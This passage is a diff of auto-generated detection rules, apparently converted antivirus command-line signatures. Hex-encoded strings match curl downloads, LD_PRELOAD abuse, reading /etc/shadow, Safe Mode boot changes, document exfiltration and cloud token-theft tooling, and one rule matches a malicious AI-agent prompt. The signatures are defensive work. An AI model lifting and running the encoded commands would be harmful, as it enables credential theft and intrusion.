19 80 ea 77 0f 88 e7 4a 00 00 00 22 24 00 } //-9556 - $a_4c_15 = {3a 54 72 6f 6a 61 6e 3a 4f 39 37 4d 2f 58 4c 34 4d 61 63 72 6f 44 65 74 65 63 74 2e 41 ad e6 17 d1 82 ea e5 73 e3 73 d1 f2 c7 31 bc 3f 8f c7 05 67 0f ec 82 e7 ad e5 e3 73 d1 f2 fc d0 80 31 fe e3 e7 50 00 00 00 1d 2f 00 21 23 42 4d 5f 4e 45 57 5f 55 } //8993 - $a_47_16 = {45 44 50 45 5f 4c 61 73 74 35 64 61 79 73 e3 77 77 93 ec f8 80 1a 89 3f d1 f2 3e 3f 80 13 fc d0 80 8f e7 da bc ec 67 fc 0f f2 73 80 c7 1e bc 73 e6 e7 bc d1 1e 04 f2 19 80 d7 bc a7 d1 e7 50 00 00 00 1d 2f 00 21 23 53 4c } //21326 + $a_2a_8 = {00 00 14 12 00 21 23 45 78 63 6c 3a 4e 65 77 55 6e 73 69 67 6e 65 64 50 65 e3 77 77 93 ec 17 3f e3 ad c7 17 05 ac 3f 1e 80 d0 1e e7 34 00 00 00 0f 21 00 21 23 50 53 4e 65 74 43 6f 6e 66 69 67 2e 42 ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f 8f c7 05 67 0f ec 67 c7 f8 80 1e e7 3f 00 00 00 1a 21 00 21 23 4d 70 49 73 45 78 68 61 75 73 74 69 76 65 53 63 72 69 70 74 53 63 61 6e ad e6 17 d1 67 ac 1a 80 0b c7 18 80 ea ea e3 ad c7 17 c7 31 bc 3f 8f 14 ad c2 ad e2 c2 04 17 e7 fc e7 44 00 00 00 17 29 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 56 46 53 5f 46 41 54 31 32 14 ad c2 44 f2 0b 1e da bc ea 04 c7 c2 04 e3 0f 9a 74 8f c0 12 e3 77 77 93 ec 04 e3 0f c2 fc d0 31 ea } //0 + $a_ac_9 = {d1 e0 e7 44 00 00 00 17 29 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 56 46 53 5f 46 41 54 31 36 14 ad c2 44 f2 0b 1e da bc ea 04 c7 c2 04 e3 0f 9a d8 8f c0 12 e3 77 77 93 ec 04 e3 0f c2 fc d0 31 ea da d1 f2 ac 3f d1 e0 e7 44 00 00 00 17 29 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 56 46 53 5f 46 41 54 33 32 14 ad c2 44 f2 0b 1e da bc ea 04 c7 c2 04 e3 0f 88 74 8f c0 12 e3 77 77 93 ec 04 e3 0f c2 fc d0 31 ea da d1 f2 ac 3f d1 e0 e7 47 00 00 00 1a 29 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 50 73 3a 38 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 67 d1 ec bf 33 8f e7 da bc ec 05 ea ac da 13 14 ea ac 31 e4 e7 80 19 80 ea 77 0f 88 e7 48 00 00 00 1e 26 00 21 23 41 4c 46 3a 50 6e 67 57 69 74 68 } //-11814 + $a_6f_10 = {6d 61 6c 49 45 4e 44 43 72 63 2e 41 14 ad c2 67 f8 77 c2 04 17 e7 fc 8f e7 da bc ec 67 3f 3e ed f2 1e 18 e3 99 3f ac 0b 73 bc ea 17 fc f8 d7 05 0b 31 e7 49 00 00 00 1b 2a 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 56 62 61 3a 31 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 44 99 bc ec 9a 33 8f e7 da bc ec 05 } //25153 + $a_13_11 = {ea ac 31 e4 e7 80 19 80 ea 77 0f 88 e7 49 00 00 00 1b 2a 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 56 62 61 3a 32 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 44 99 bc ec 74 33 8f e7 da bc ec 05 ea ac da 13 14 ea ac 31 e4 e7 80 19 80 ea 77 0f 88 e7 49 00 00 00 1b 2a 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 56 62 61 3a 33 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 44 99 bc ec 88 33 8f e7 da bc ec 05 ea ac da 13 14 ea ac 31 e4 e7 80 19 80 ea 77 0f 88 e7 49 00 00 00 1b 2a 00 21 23 41 4c 46 3a 54 54 43 54 58 3a 41 4d 53 49 32 3a 4d 4c 3a 56 62 61 3a 34 30 93 67 04 ec e3 ad c7 17 74 ec ad e7 ec 44 99 bc ec } //-21270 + $a_e7_12 = {bc ec 05 ea ac da 13 14 ea ac 31 e4 e7 80 19 80 ea 77 0f 88 e7 4a 00 00 00 22 24 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 4f 39 37 4d 2f 58 4c 34 4d 61 63 72 6f 44 65 74 65 63 74 2e 41 ad e6 17 d1 82 ea e5 73 e3 73 d1 f2 c7 31 bc 3f 8f c7 05 67 0f ec 82 e7 ad e5 e3 73 d1 f2 fc d0 80 31 fe e3 e7 50 00 00 00 1d 2f 00 21 23 42 4d 5f 4e 45 57 5f 55 4e 53 49 47 4e 45 44 50 45 5f 4c 61 73 74 35 64 61 79 73 e3 77 77 93 ec f8 80 1a } //13285 + $a_f2_13 = {3f 80 13 fc d0 80 8f e7 da bc ec 67 fc 0f f2 73 80 c7 1e bc 73 e6 e7 bc d1 1e 04 f2 19 80 d7 bc a7 d1 e7 50 00 00 00 1d 2f 00 21 23 53 4c 46 3a 46 69 6c 65 57 69 74 68 56 46 53 5f 46 41 54 5f 55 4e 4b 4e 4f 57 4e 14 ad c2 44 f2 0b 1e da bc ea 04 c7 c2 04 e3 0f c2 89 f8 00 f8 6a ed f8 8f c0 12 e3 77 77 93 ec 04 e3 0f c2 fc d0 31 ea da d1 f2 ac 3f d1 e0 e7 54 00 00 00 21 2f 00 21 23 53 4c 46 3a 41 47 47 52 3a 4d 61 73 71 75 65 72 61 64 65 5f 61 73 21 73 6d 73 73 2e 65 78 65 e7 da bc ec 67 80 89 3f 1e 0b da d1 1e 80 13 e7 ac ea 99 f2 3f 8f e7 da bc ec 67 80 04 c7 04 f2 ea 80 f8 bc 73 80 12 d1 73 d1 d1 fe 80 d0 80 e7 54 00 } //16265 + $a_2f_14 = {21 23 53 4c 46 3a 41 47 47 52 3a 4d 61 73 71 75 65 72 61 64 65 5f 61 73 21 76 6d 6d 73 2e 65 78 65 } //0 !#SLF:AGGR:Masquerade_as!vmms.exe + $a_ec_15 = {80 89 3f 1e 0b da d1 1e 80 13 e7 ac ea 99 f2 3f 8f e7 da bc ec 67 80 04 c7 04 f2 ea 80 f8 bc 73 80 12 19 73 73 d1 fe 80 d0 80 e7 55 00 00 00 23 2e 00 21 23 42 4d 5f 4e 45 57 5f 55 4e 53 49 47 4e 45 44 50 45 5f 46 75 74 75 72 65 54 69 6d 65 53 74 61 6d 70 e3 77 77 93 ec f8 80 1a 89 3f d1 f2 3e 3f 80 13 fc d0 80 8f e7 da bc ec 04 da 1e da 0b 80 c2 e6 80 18 13 0b c2 1e f2 73 80 d1 1e bc 73 e6 e7 56 00 00 00 22 30 00 21 23 53 4c 46 3a 41 47 47 52 3a 4d 61 73 71 75 65 72 61 64 65 5f 61 73 21 6c 73 61 73 73 2e 65 78 65 e7 da bc ec 67 80 89 3f 1e 0b da d1 1e 80 13 } //-9497 + $a_99_16 = {3f 8f e7 da bc ec 67 80 04 c7 04 f2 ea 80 f8 bc 73 80 12 ea d1 bc d1 d1 fe 80 d0 80 e7 56 00 00 00 22 30 00 21 23 53 4c 46 3a 41 47 47 52 3a 4d 61 73 71 75 65 72 61 64 65 5f 61 73 21 6d 73 64 74 63 2e 65 78 65 e7 da bc ec 67 80 89 3f 1e 0b da d1 1e 80 13 e7 ac ea 99 f2 3f 8f e7 da bc ec 67 80 04 c7 04 f2 ea 80 f8 bc 73 80 12 73 d1 13 1e 31 fe 80 d0 80 e7 56 00 00 00 22 30 00 21 23 53 4c 46 3a 41 47 47 52 3a 4d 61 73 71 75 65 72 61 64 65 5f 61 73 21 76 73 73 76 63 2e 65 78 65 e7 da bc ec 67 80 89 3f 1e 0b da d1 1e 80 13 e7 ac ea 99 f2 3f 8f e7 da bc ec 67 80 04 c7 04 f2 ea 80 f8 bc 73 80 12 19 d1 d1 19 31 fe 80 d0 80 e7 58 00 00 00 23 31 00 21 23 53 4c 46 3a 41 47 47 52 3a 4d 61 73 71 75 65 72 } //-21273 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_3 & 1)*115+(#a_02_5 & 1)*-3+(#a_00_6 & 1)*-3+(#a_00_7 & 1)*-3+(#a_2a_8 & 1)*0+(#a_e3_9 & 1)*-4973+(#a_f2_10 & 1)*-9494+(#a_31_11 & 1)*-5612+(#a_54_12 & 1)*17996+(#a_e7_13 & 1)*3959+(#a_14_14 & 1)*-9556+(#a_4c_15 & 1)*8993+(#a_47_16 & 1)*21326) >=3 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_3 & 1)*115+(#a_02_5 & 1)*-3+(#a_00_6 & 1)*-3+(#a_00_7 & 1)*-3+(#a_2a_8 & 1)*0+(#a_ac_9 & 1)*-11814+(#a_6f_10 & 1)*25153+(#a_13_11 & 1)*-21270+(#a_e7_12 & 1)*13285+(#a_f2_13 & 1)*16265+(#a_2f_14 & 1)*0+(#a_ec_15 & 1)*-9497+(#a_99_16 & 1)*-21273) >=3 } -rule _InfrastructureShared_26075{ +rule _InfrastructureShared_27444{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4c 69 6e 75 78 2f 4d 61 6c 69 63 69 6f 75 73 4c 6f 63 61 6c 41 49 00 0a 00 7a 00 59 00 6f 00 75 00 20 00 61 00 72 00 65 00 20 00 61 00 6e 00 20 00 41 00 49 00 20 00 61 00 67 00 65 00 6e } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=20 + +} +rule _InfrastructureShared_27445{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 02 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 65 6e 6f 66 6f 78 00 0a 00 12 00 6f 00 33 00 36 00 35 00 72 00 65 00 63 00 6f 00 6e 00 01 00 0e 00 2d 00 61 00 7a 00 75 00 72 00 65 00 20 00 00 00 d7 69 00 00 0a 00 0a 00 02 00 21 23 } //21283 + $a_3a_1 = {78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 50 65 72 67 68 72 75 6e 00 0a 00 1e 00 67 00 72 00 61 00 70 00 68 00 72 00 75 00 6e 00 6e 00 65 00 72 00 2e 00 70 00 73 00 31 00 0a 00 1e 00 67 00 65 00 74 00 2d 00 67 00 } //19539 + condition: + ((#a_46_0 & 1)*21283+(#a_3a_1 & 1)*19539) >=11 + +} +rule _InfrastructureShared_27446{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 50 65 72 67 68 72 75 6e 00 0a 00 1e 00 67 00 72 00 61 00 70 00 68 00 72 00 75 00 6e 00 6e 00 65 00 72 00 2e 00 70 00 73 00 31 00 0a 00 1e 00 67 00 65 00 74 00 2d 00 67 00 72 00 61 00 70 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=10 + +} +rule _InfrastructureShared_27447{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " @@ -341351,7 +359347,21 @@ rule _InfrastructureShared_26075{ ((#a_4c_0 & 1)*21539) >=10 } -rule _InfrastructureShared_26076{ +rule _InfrastructureShared_27448{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0d 00 0d 00 05 00 21 " + + strings : + $a_46_0 = {43 69 74 72 75 73 48 61 6d 6d 65 72 45 78 66 69 6c 2e 41 00 0a 00 25 02 70 00 72 00 6f 00 67 00 72 00 61 00 6d 00 64 00 61 00 74 00 61 00 5c 00 90 02 50 2e 00 72 00 61 00 72 00 90 00 01 00 06 00 2d 6e 2e 64 6f 63 01 00 06 00 2d } //21283 + $a_6c_1 = {01 00 06 00 2d 6e 2e 70 70 74 01 00 06 00 2d 6e 2e 70 64 66 00 00 d7 a6 00 00 0a 00 0a 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 6c 6f 63 6b 53 61 66 65 4d 6f 64 65 52 65 62 6f 6f 74 42 63 64 65 64 69 74 00 0a 00 34 02 62 00 63 00 64 00 65 00 64 00 69 00 74 00 90 02 08 20 00 2f 00 73 00 65 00 74 00 20 00 90 02 40 20 00 73 00 61 00 } //11886 + $a_00_2 = {62 00 6f 00 6f 00 74 00 90 00 0a 00 34 02 62 00 63 00 64 00 65 00 64 00 69 00 74 00 90 02 08 20 00 2d 00 73 00 65 00 74 00 20 00 90 02 40 20 00 73 00 61 00 66 00 65 00 62 00 6f 00 6f 00 74 00 90 00 00 00 d7 b4 00 00 06 00 06 00 07 00 21 23 53 4c 46 3a 43 69 74 72 75 73 48 61 6d 6d 65 72 43 32 2e 41 00 } //102 + $a_00_3 = {63 75 72 6c 2e 65 78 65 } //4 curl.exe + $a_00_4 = {63 75 72 6c 20 2d 2d } //4 curl -- + condition: + ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*11886+(#a_00_2 & 1)*102+(#a_00_3 & 1)*4+(#a_00_4 & 1)*4) >=13 + +} +rule _InfrastructureShared_27449{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -341362,7 +359372,60 @@ rule _InfrastructureShared_26076{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*116) >=10 } -rule _InfrastructureShared_26077{ +rule _InfrastructureShared_27450{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 07 00 21 " + + strings : + $a_46_0 = {43 69 74 72 75 73 48 61 6d 6d 65 72 43 32 2e 41 00 04 00 08 00 63 75 72 6c 2e 65 78 65 04 00 07 00 63 75 72 6c 20 2d 2d 01 00 2e 00 2e 00 72 00 61 00 72 00 20 00 2d 00 75 00 20 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 55 00 73 00 } //21283 + $a_00_1 = {32 00 30 00 32 00 35 00 3a 00 01 00 12 00 2d 00 75 00 20 00 6a 00 6f 00 6b 00 65 00 72 00 3a 00 01 00 10 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 01 00 0e 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 01 00 0c 00 66 00 74 00 70 00 3a 00 2f 00 2f 00 00 00 d7 d9 00 00 0a 00 0a 00 04 00 21 23 53 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 } //101 + $a_2f_2 = {61 63 69 73 6b 6f 6e 00 0a 00 18 00 74 00 6f 00 6b 00 65 00 6e 00 74 00 61 00 63 00 74 00 69 00 63 00 73 00 0a 00 1c 00 67 00 65 00 74 00 2d 00 61 00 } //13166 + $a_00_3 = {72 00 65 00 74 00 6f 00 6b 00 65 00 6e 00 0a 00 38 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 66 00 72 00 65 00 73 00 68 00 74 00 6f 00 6d 00 73 00 74 00 65 00 61 00 6d 00 73 00 74 00 6f 00 6b 00 65 00 6e 00 0a 00 38 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 66 00 72 00 65 00 73 00 68 00 74 00 6f 00 6d 00 73 00 67 00 72 } //122 + $a_00_5 = {6f 00 6b 00 65 00 6e 00 00 00 d7 0a 01 00 0d 00 0d 00 06 00 21 23 53 4c 46 3a 43 69 74 72 75 73 48 61 6d 6d 65 72 50 65 72 73 69 73 74 2e 41 00 0a 00 3a 02 6f 00 6e 00 65 00 64 00 72 00 69 00 76 00 65 00 2e 00 65 00 78 00 65 00 90 02 50 68 00 74 00 74 00 70 00 90 02 50 2f 00 66 00 69 00 6c 00 65 00 73 00 79 00 6e 00 63 00 90 00 03 00 16 00 33 00 } //104 + $a_00_6 = {74 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 03 00 32 02 63 00 75 00 72 00 6c 00 90 02 f0 46 00 69 00 6c 00 65 00 53 00 79 00 6e 00 63 00 46 } //54 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_2f_2 & 1)*13166+(#a_00_3 & 1)*122+(#a_00_5 & 1)*104+(#a_00_6 & 1)*54) >=6 + +} +rule _InfrastructureShared_27451{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " + + strings : + $a_46_0 = {45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 54 61 63 69 73 6b 6f 6e 00 0a 00 18 00 74 00 6f 00 6b 00 65 00 6e 00 74 00 61 00 63 00 74 00 69 00 63 00 73 00 0a 00 1c 00 67 00 65 00 74 00 2d 00 61 00 7a 00 75 00 72 00 65 00 74 00 6f } //21283 + $a_00_2 = {38 00 69 00 6e 00 76 00 6f 00 } //110 8invo + $a_00_3 = {2d 00 72 00 65 00 66 00 72 00 65 00 73 00 68 00 74 00 6f 00 6d 00 73 00 74 00 65 00 61 00 6d 00 73 00 74 00 6f 00 6b 00 65 00 6e 00 0a 00 38 00 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 72 00 65 00 66 00 72 00 65 00 73 00 68 00 74 00 6f 00 6d 00 73 00 67 00 72 00 61 00 70 00 68 00 74 00 6f 00 6b 00 65 } //107 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*110+(#a_00_3 & 1)*107) >=10 + +} +rule _InfrastructureShared_27452{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0d 00 0d 00 06 00 21 " + + strings : + $a_46_0 = {43 69 74 72 75 73 48 61 6d 6d 65 72 50 65 72 73 69 73 74 2e 41 00 0a 00 3a 02 6f 00 6e 00 65 00 64 00 72 00 69 00 76 00 65 00 2e 00 65 00 78 00 65 00 90 02 50 68 00 74 00 74 00 70 00 90 02 50 2f 00 66 00 69 00 6c 00 65 00 73 00 } //21283 + $a_00_1 = {63 00 90 00 03 00 16 00 33 00 36 00 30 00 74 00 72 00 61 00 79 00 2e 00 65 00 78 00 65 00 03 00 32 02 63 00 75 00 72 00 6c 00 90 02 f0 46 00 69 00 6c 00 65 00 53 00 79 00 6e 00 63 00 46 00 41 00 4c 00 57 00 42 00 90 02 06 2e 00 64 00 6c 00 6c 00 90 00 03 00 22 00 2f 00 2f 00 34 00 37 00 2e 00 32 00 34 00 33 00 2e 00 31 00 30 00 } //121 + $a_00_2 = {31 00 32 00 32 00 2f 00 03 00 1e 00 67 00 6f 00 6f 00 67 00 6c 00 65 00 55 00 73 00 65 00 72 00 32 00 30 00 32 00 35 00 3a 00 03 00 0c 00 } //54 + $a_00_3 = {6b 00 65 00 72 00 3a 00 00 00 7a 08 00 00 00 00 00 00 00 00 00 00 7a 08 00 00 77 00 00 00 02 00 00 00 29 25 00 00 11 21 23 53 43 50 54 3a 43 68 66 6c 61 67 73 41 50 49 00 00 ff ff ff ff 09 00 00 00 63 68 66 6c 61 67 73 90 00 29 28 00 00 17 21 23 53 43 50 54 3a 58 50 4c 41 54 53 63 72 69 70 74 47 65 6e 34 34 00 00 ff ff ff ff 06 00 } //106 + $a_75_4 = {6c 90 00 29 29 00 00 17 21 23 53 43 50 54 3a 58 50 4c 41 54 53 63 72 69 70 74 47 65 6e 33 33 00 00 ff ff ff ff 07 00 00 00 70 73 61 75 78 90 00 29 2a 00 00 17 21 23 53 43 50 54 3a 58 50 4c 41 54 53 63 72 69 70 74 47 65 6e 32 45 00 00 ff ff ff ff 08 00 00 00 63 64 2f 74 6d 70 90 00 29 2a 00 00 17 } //0 + $a_43_5 = {54 3a 58 50 4c 41 54 53 63 72 69 70 74 47 65 6e 33 46 00 00 ff ff ff ff 08 00 00 00 77 67 65 74 2d 6f 90 00 29 2b 00 00 14 21 23 53 43 50 54 3a 50 59 47 45 54 49 46 41 44 44 52 5f 31 00 00 ff ff ff ff 0c 00 00 00 67 65 74 69 66 61 64 64 72 73 } //8993 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*121+(#a_00_2 & 1)*54+(#a_00_3 & 1)*106+(#a_75_4 & 1)*0+(#a_43_5 & 1)*8993) >=13 + +} +rule _InfrastructureShared_27453{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 53 75 73 70 41 6d 6f 73 45 78 65 63 2e 45 00 05 00 18 00 63 00 75 00 72 00 6c 00 20 00 2d 00 73 00 20 00 68 00 74 00 74 00 70 00 05 00 18 00 2f 00 61 00 70 00 69 00 2f } //21539 + $a_00_2 = {6f 00 74 00 2f 00 01 00 16 00 6a 00 6f 00 69 00 6e 00 73 00 79 00 73 00 74 00 65 00 6d 00 2f 00 01 00 10 00 61 00 63 00 74 00 69 00 6f 00 6e 00 73 00 2f 00 00 00 d7 a7 00 00 09 00 09 00 06 00 21 23 54 45 4c 3a 4d 61 63 4f 53 2f 4c 6f 67 34 6a 53 68 65 6c 6c 2e 41 00 05 00 08 00 63 00 75 00 72 } //47 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*47) >=11 + +} +rule _InfrastructureShared_27454{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 06 00 21 " @@ -341376,7 +359439,7 @@ rule _InfrastructureShared_26077{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*1+(#a_00_2 & 1)*1+(#a_00_3 & 1)*1+(#a_b0_4 & 1)*0) >=9 } -rule _InfrastructureShared_26078{ +rule _InfrastructureShared_27455{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 03 00 21 " @@ -341387,7 +359450,7 @@ rule _InfrastructureShared_26078{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*45) >=6 } -rule _InfrastructureShared_26079{ +rule _InfrastructureShared_27456{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 06 00 21 " @@ -341402,7 +359465,7 @@ rule _InfrastructureShared_26079{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*3+(#a_00_2 & 1)*3+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1+(#a_00_5 & 1)*1) >=9 } -rule _InfrastructureShared_26080{ +rule _InfrastructureShared_27457{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,07 00 07 00 04 00 21 " @@ -341414,7 +359477,7 @@ rule _InfrastructureShared_26080{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_e3_3 & 1)*0) >=7 } -rule _InfrastructureShared_26081{ +rule _InfrastructureShared_27458{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,09 00 09 00 03 00 21 " @@ -341425,7 +359488,7 @@ rule _InfrastructureShared_26081{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*45) >=9 } -rule _InfrastructureShared_26082{ +rule _InfrastructureShared_27459{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 02 00 21 " @@ -341436,7 +359499,7 @@ rule _InfrastructureShared_26082{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*121) >=4 } -rule _InfrastructureShared_26083{ +rule _InfrastructureShared_27460{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -341448,17 +359511,39 @@ rule _InfrastructureShared_26083{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*114+(#a_00_3 & 1)*97) >=4 } -rule _InfrastructureShared_26084{ +rule _InfrastructureShared_27461{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 42 61 72 6f 6e 53 61 6d 65 64 69 74 2e 41 00 01 00 12 00 73 00 75 00 64 00 6f 00 65 00 64 00 69 00 74 00 20 00 00 00 d7 52 00 00 01 00 01 00 01 00 21 23 53 4c 46 } //21539 + $a_4c_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 42 61 72 6f 6e 53 61 6d 65 64 69 74 2e 41 00 01 00 12 00 73 00 75 00 64 00 6f 00 65 00 64 00 69 00 74 00 20 00 00 00 d7 4e 00 00 0b 00 0b 00 03 00 21 23 53 4c 46 } //21539 condition: ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_26085{ +rule _InfrastructureShared_27462{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 03 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 50 61 63 75 2e 41 00 05 00 08 00 70 00 69 00 70 00 33 00 05 00 0e 00 69 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 01 00 08 00 70 00 61 00 63 00 75 00 00 00 d7 51 00 00 0a 00 0a 00 01 00 } //21283 + $a_4c_1 = {3a 48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 6c 64 70 72 65 6c 6f 61 64 2e 45 00 0a 00 20 00 4c 00 44 00 5f 00 50 00 52 00 45 00 4c 00 4f 00 41 00 44 00 3d 00 2f 00 74 00 6d 00 70 00 2f 00 00 00 d7 52 00 00 01 00 01 00 01 00 21 23 53 } //8993 + $a_48_2 = {63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 43 72 65 64 65 6e 74 69 61 6c 53 68 61 64 6f 77 2e 41 00 01 00 1e 00 63 00 61 00 74 00 20 00 2f 00 65 00 74 00 63 00 2f 00 73 00 68 00 } //17996 + condition: + ((#a_46_0 & 1)*21283+(#a_4c_1 & 1)*8993+(#a_48_2 & 1)*17996) >=11 + +} +rule _InfrastructureShared_27463{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4c 69 6e 75 78 2f 53 75 73 70 6c 64 70 72 65 6c 6f 61 64 2e 45 00 0a 00 20 00 4c 00 44 00 5f 00 50 00 52 00 45 00 4c 00 4f 00 41 00 44 00 3d 00 2f 00 74 00 6d 00 70 00 2f 00 00 00 d7 52 00 00 01 00 01 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=10 + +} +rule _InfrastructureShared_27464{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -341468,7 +359553,7 @@ rule _InfrastructureShared_26085{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26086{ +rule _InfrastructureShared_27465{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -341479,7 +359564,7 @@ rule _InfrastructureShared_26086{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*20) >=20 } -rule _InfrastructureShared_26087{ +rule _InfrastructureShared_27466{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -341489,7 +359574,7 @@ rule _InfrastructureShared_26087{ ((#a_4c_0 & 1)*21539) >=20 } -rule _InfrastructureShared_26088{ +rule _InfrastructureShared_27467{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,14 00 14 00 02 00 21 " @@ -341500,7 +359585,7 @@ rule _InfrastructureShared_26088{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*0) >=20 } -rule _InfrastructureShared_26089{ +rule _InfrastructureShared_27468{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,1a 00 1a 00 04 00 21 " @@ -341512,7 +359597,7 @@ rule _InfrastructureShared_26089{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*2+(#a_4c_3 & 1)*8993) >=26 } -rule _InfrastructureShared_26090{ +rule _InfrastructureShared_27469{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 02 00 21 " @@ -341522,7 +359607,7 @@ rule _InfrastructureShared_26090{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_26091{ +rule _InfrastructureShared_27470{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -341533,18 +359618,29 @@ rule _InfrastructureShared_26091{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*100) >=12 } -rule _InfrastructureShared_26092{ +rule _InfrastructureShared_27471{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 03 00 21 " strings : $a_46_0 = {52 61 6e 73 6f 